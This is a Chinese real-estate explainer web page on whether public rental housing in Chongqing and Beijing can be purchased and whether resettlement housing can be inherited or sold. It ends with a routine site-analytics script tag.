公租房可以买吗 公租房介绍

公共租赁房，也就是我们通常所说的公租房，它是一种相对而言较为优惠的住房产品，不仅仅能够保证有关人员，尤其是工资水平较低的外来务工人员们结合实际情况，享受到更为出色的住房服务从另外一个角度看了，对于帮助政府宏观调控房价也有一定的积极作用。那么今天为大家介绍的就是关于公租房的常见问题解答，除此之外还有一些普及方面的介绍。一、重庆公租房可以买吗根据重庆市政府第88次常务会审议通过的《重庆市公共租赁住房管理实施细则》，在重庆承租公共租赁住房的承租人，在其租赁满5年后，可选择申请购买居住的公租房。《细则》规定，公租房出售价格以综合造价为基准，具体价格由市物价部门会同市住房保障、市财政等部门研究确定，定期向社会公布。购买公租房，可选择一次性付款或分期付款。一次性付款后，不再支付租金;分期付款时，未付款面积按照规定交纳租金。买的公租房可以继承、抵押，不得进行出租、转让、赠予等市场交易。抵押值不得超过房屋购买原值的70%。根据《细则》，购买人通过购买、获赠、继承等方式在主城区获得其他住房，且达到政府公布的主城区人均住房建筑面积标准的，或因特殊原因需要转让以及抵押处置时，由政府回购，不允许在市场上交易，回购价格为原销售价格加同期银行存款活期利息二、北京的公租房5年后能购买产权么?不能,租满5年后,可以申请续租,续租不得超过3年,不会出售产权。北京市规定,申请公租房家庭应取得经适房、限价房或廉租房资格后,放弃配租配售的,可以取得公租房配租资格。三、公共租赁房介绍公共租赁住房是指由国家提供政策支持，各种社会主体通过新建或者其他方式筹集房源、专门面向中低收入群体出租的保障性住房，是一个国家住房保障体系的重要组成部分。公共租赁住房不是归个人所有，而是由政府或公共机构所有，用低于市场价或者承租者承受起的价格，向新就业职工出租，包括一些新的大学毕业生，还有一些从外地迁移到城市工作的群体公共租赁住房有利于引导国民“先租后买”，合理住房消费。实现“住有所居”的目标，通常有两种方式：一种是购买住房，另一种是租赁住房。据了解，在发达国家，首次购房人的年龄比我国要大很多，年轻人长期租房是一种普遍状态。在日本、德国，首次购房人平均年龄为42岁，法国为37岁，美国也在30岁以上，英国在2008-2009年间近32%的家庭靠租房解决居住问题，而在我国现阶段，国民太过关注购房，而租房则处于相对被忽视的境地。鉴于此，国家应在正确引导国民的住房消费理念方面有所作为，即住房应“从租到买、由小及大”。公共租赁住房为居民提供可租赁适当房源，这不仅可以引导鼓励居民租房，减轻中低收入群体购买住房的经济压力，而且可以减少“被买房”群体的数量，对抑制过高房价起到积极作用。公共租赁住房有助于克服廉租住房和经济适用房的弊端。首先，公共租赁住房扩大了保障范围，有利于解决“夹心层”住房问题。因为廉租住房只面向最低收入群体，经济适用房尽管保障对象是中等收入群体，但其价格仍然偏高，甚至部分地区的经济适用房和商品房价格相差无几。由于廉租住房、经济适用房和商品房三者之间不能实现对接，形成两个数量庞大的“夹心层”，即收入超过廉租住房申请标准、但无力购买经济适用房的人群和收入超过经济适用房申请标准、但无力购买商品房的人群。而公共租赁住房则是面向中等以下收入群体出租，在保障范围上实现了与商品房的对接。其次，经济适用房是产权房，存在套利空间，且通过行政手段进行分配，极易诱发权力寻租现象的发生，而公共租赁住房则是面向中等以下收入群体出租住房，不存在引发上述弊端的空间或土壤。虽然在许多大城市中都存在公租房产品以保证相关人群的生活质量和水平，但是实际上，从上文提及的内容中我们就能够发现，不同城市的具体实施细则和标准还是有一些差异的。对于有意向租赁公租房的朋友而言，结合自己的实际情况筛选出对应板块的内容以便后期的效果保障就是相对而言十分必要的信息。那么上文涉及的就是这些方面的内容板块。

安置房可以继承吗 安置房可以转让出售吗

今天许多城市发展迅速，很多正在进行拆迁和改造，以创造一个更加辉煌的城市。如果需要拆除居民的住所，必须将新房重新安置给居民。国家也为此问题制定了统一规定。但是，我们知道从建造一座房子至获得房地产许可证需要五年以上的时间。如果安置房所有人有什么事故，安置房可以继承吗？它可以买卖吗？如何继承？一、安置房可以继承吗？1、有遗嘱的以遗嘱为标准，没有遗嘱父母，子女，配偶作为第一个继承人根据平均值分配。2、咨询当地公证处。3、带齐所需材料：拆迁合同、安置证明等。4、获取继承证书后，可以在注册属性时直接更改继承人的名称。5、处理方式与普通属性的继承相同。如果是土地征用和安置房，房屋的主人死亡。继承人必须先去公证处办理继承权，然后到市土地局支付转让费，然后继承人将其房屋所有权登记申请表、继承证书等相关认证材料，由登记机构认定为房地产登记机构办理继承转让登记手续。二、拆迁安置房可以出售吗？除了关心安置房可以继承吗，更多的业主关注是否可以出售。购买安置房时，很多人都注意产权和价格的转移，但忘记了安置房的销售是否合法。事实上，安置房是否可以出售取决于具体情况。据有关人士透露，严格意义上说，不能转让的房屋包括未经合法登记取得房屋所有权证的房屋；司法机关和行政机关依法作出裁定，决定以其他形式查封或者限制房地产权的；共有房地产未获得另一方同意的，所有权有争议的其他情况，法律禁止转让。安置房有几种情况。要了解安置房可以继承吗，可以转让吗，需要先下面这几种情况。如果房屋是拆迁前是业主自己的住宅，安置房发出的产权证也是业主的。获得产权证后，可以进行交易，但除了正常的房屋交易税外，还需要支付土地转让费。综上，安置房可以继承吗？可以转让出售吗？符合规定的是可以的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();